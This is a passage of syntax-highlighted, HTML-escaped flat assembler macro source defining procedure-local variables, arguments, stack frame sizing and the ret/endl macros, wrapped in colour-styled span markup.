font-weight: bold;"&gt;label&lt;/span&gt; def \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; match &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;type&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;def&amp;gt; \\\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&amp;lt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;type&lt;/span&gt; \\\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;struc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;val&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;val \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;struc&lt;/span&gt; du &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;val&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;du&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;val \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;struc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dw&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;val&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dw&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;val \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;struc&lt;/span&gt; dp &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;val&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;dp&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;val \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;struc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;val&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;val \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;struc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dt&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;val&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dt&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;val \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;struc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dq&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;val&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; \&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dq&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;val \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;struc&lt;/span&gt; rb cnt \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;rb cnt&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;struc&lt;/span&gt; rw cnt \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;rw cnt&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;struc&lt;/span&gt; rp cnt \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;rp cnt&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;struc&lt;/span&gt; rd cnt \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;rd cnt&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;struc&lt;/span&gt; rt cnt \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;rt cnt&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;struc&lt;/span&gt; rq cnt \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.,&lt;/span&gt;rq cnt&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; endl&lt;br /&gt;  \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;purge&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt;&lt;br /&gt;     restruc &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;du&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dw&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;dp&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dt&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dq&lt;/span&gt;&lt;br /&gt;     restruc rb&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;rw&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;rp&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;rd&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;rt&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;rq&lt;br /&gt;     current = $&lt;span style="color: rgb(51, 153, 51);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebp&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;-&lt;/span&gt;localbytes&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;)&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; virtual \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt; operand&lt;br /&gt;  \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; match any&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; operand \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;retn&lt;/span&gt; operand \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;     match &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; operand \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; match &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;epilogue&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;reglist&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;epilogue&lt;/span&gt;@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&amp;lt;regs&amp;gt;&lt;br /&gt;                         \\\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;epilogue&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;flag&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;parmbytes&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;localbytes&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;reglist \\\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; finish@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; localbytes = &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;(&lt;/span&gt;current&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;shr&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;shl&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br /&gt;                       &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; defargs@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;arg&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; ~ arg &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;eq&lt;/span&gt;&lt;br /&gt;  forward&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;arg&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;current@arg&lt;br /&gt;    match argname&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;type&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; arg&lt;br /&gt;     \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; current@arg equ argname&lt;br /&gt;        &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;arg &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;type&lt;/span&gt;&lt;br /&gt;        argname equ &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;arg&lt;br /&gt;        &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; dqword &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;eq&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;type&lt;/span&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;?&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;?&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;?&lt;br /&gt;        &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;tbyte&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;eq&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;type&lt;/span&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;?&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;?&lt;br /&gt;        &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;qword&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;eq&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;type&lt;/span&gt; | pword &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;eq&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;type&lt;/span&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;?&lt;br /&gt;        &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;        &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;    match =current@arg&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;current@arg&lt;br /&gt;     \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; current@arg equ arg&lt;br /&gt;        arg equ &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;arg&lt;br /&gt;        &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;arg &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ? \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;    args@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; equ current@arg&lt;br /&gt;  forward&lt;br /&gt;    restore current@arg&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; deflocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;def&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;val&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;   match vars&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;all&lt;/span&gt;@vars \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;all&lt;/span&gt;@vars equ &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;all&lt;/span&gt;@vars&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;all&lt;/span&gt;@vars equ &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;all&lt;/span&gt;@vars &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;br /&gt;  forward&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;var&lt;span style="color: rgb(51, 153, 51);"&gt;,..&lt;/span&gt;tmp&lt;br /&gt;   match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;def \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;tmp equ \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;   match tmp&lt;span style="color: rgb(51, 153, 51);"&gt;,..&lt;/span&gt;tmp \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;var def val \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;   match &lt;span style="color: rgb(51, 153, 51);"&gt;,..&lt;/span&gt;tmp \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;var val \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;   match =?&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; val \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;tmp equ \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;   match any =?&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; val \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;tmp equ \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;   match any &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;(&lt;/span&gt;=?&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;)&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; val \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;tmp equ \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;   match tmp &lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt; value&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;tmp &lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt; val&lt;br /&gt;    \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; tmp&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; virtual&lt;br /&gt;       initlocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;var&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;def value&lt;br /&gt;       virtual &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;at&lt;/span&gt; tmp\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;   match first rest&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span 